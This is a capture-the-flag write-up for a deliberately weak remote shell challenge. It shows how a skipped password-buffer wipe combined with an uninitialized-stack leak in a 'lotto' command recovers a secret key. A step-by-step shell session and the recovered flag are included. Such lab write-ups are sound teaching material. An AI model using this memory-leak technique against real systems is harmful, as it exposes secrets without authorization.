We have access to a remote shell that according to the organizers sucks, let's exploit it! If you are interested the binary is available here.

If we connect to it we are asked for a username, we can enter whatever and start playing with the shell. Classic commands like "ls", "sleep" or "cat" are there, as well as other weird stuff like "quote" that acts like "fortune" or "lotto" that allows us to play a game where we need to guess random numbers. We can also spawn nested shells with the "login" command.

After some reversing with IDA we found out two interesting facts:

- if we enter "root\x00" as username we are also asked for a password. A file called "key" is read from disk and compared to our input, after that the memory area where the password is stored gets filled with zeros. However if we insert a very long password (> 61 chars) the zeroing operation is skipped.
- The lotto command asks us for a number, which is the level of the game. We should input a number from 1 to 4 but if we enter 0 it outputs uninitialized variables from the stack, thus leaking data.

At this point our goal was clear: use the "login" command to load the password on the stack and then use the "lotto" command to leak data from the stack and reconstruct the content of the "key" file, that hopefully will contain the flag. The real challenge here was to get the stack aligned so that the "lotto" will leak us interesting stuff, unfortunately the buffer with the password and the leaked memory were 64 bytes apart.

We spent quite a lot of time trying to figure out how to get the lotto command reading from the buffer without success. In the end trying to nest shells looked like a promising approach as we could move the area where the lotto command reads by playing with the length of the username. The following is a "ish" shell session that leaks data from the key buffer.

```
Username:
Is Shell v1.0 (Codename: Iz gud)
ish$ login
Username:
Is Shell v1.0 (Codename: Iz gud)
ish$ login
Username:
Is Shell v1.0 (Codename: Iz gud)
ish$ login
Username:
Is Shell v1.0 (Codename: Iz gud)
ish$ login
Username: root^@
Password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Invalid password
Authentication failed!
ish$ exit
ish$ exit
ish$ exit
ish$ login
Username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Is Shell v1.0 (Codename: Iz gud)
ish$ login
Username:
Is Shell v1.0 (Codename: Iz gud)
ish$ login
Username:
Is Shell v1.0 (Codename: Iz gud)
ish$ lotto
>Lotto Game<
Pick a level between 1 and 4.
: 0
Pick your lotto numbers!
: 1
: 1
: 1
: 1
You lose...
The correct numbers were:
1734437990, 1094795643, 1111638593, 1128481602
```

And those numbers are just the decimal representation of part of the key! We have to do the same thing a couple of times (or write a script to automate the process) to get the full flag:
flag{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMOOOOXX}